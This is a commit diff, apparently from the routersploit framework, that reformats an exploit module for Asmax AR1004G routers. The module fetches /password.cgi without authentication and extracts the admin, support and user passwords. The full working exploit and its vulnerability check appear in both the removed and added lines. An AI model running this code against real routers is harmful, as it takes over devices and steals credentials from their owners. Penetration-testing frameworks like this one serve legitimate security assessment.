Commit 6321f085 by fwkz

Cosmetics and PEP8 fixes

parent 1ba4743a
......@@ -18,52 +18,51 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'Asmax AR1004G Password Disclosure',
'description': 'Exploits asmax password disclosure vulnerability that allows to fetch credentials for: Admin, Support and User accounts.',
'description': 'Exploits asmax password disclosure vulnerability that allows to '
'fetch credentials for: Admin, Support and User accounts.',
'authors': [
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
],
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
],
'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt'
],
'targets': [
'Asmax AR 1004g'
]
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
],
'targets': [
'Asmax AR 1004g',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
try:
r = requests.get(url)
res = r.text
response = requests.get(url).text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
print_error("Invalid URL format: {}".format(url))
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
print_error("Connection error: {}".format(url))
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", res)
if len(admin):
admin = re.findall("pwdAdmin = '(.+?)'", response)
if admin:
creds.append(('Admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", res)
if len(support):
support = re.findall("pwdSupport = '(.+?)'", response)
if support:
creds.append(('Support', support[0]))
user = re.findall("pwdUser = '(.+?)'", res)
if len(user):
user = re.findall("pwdUser = '(.+?)'", response)
if user:
creds.append(('User', user[0]))
if len(creds):
if creds:
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print_table(("Login", "Password"), *creds)
else:
print_error("Credentials could not be found")
......@@ -71,12 +70,11 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
response = requests.get(url).text
except:
return None # could not be verified
if any(map(lambda x: x in res, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable
if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable
return False # target not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment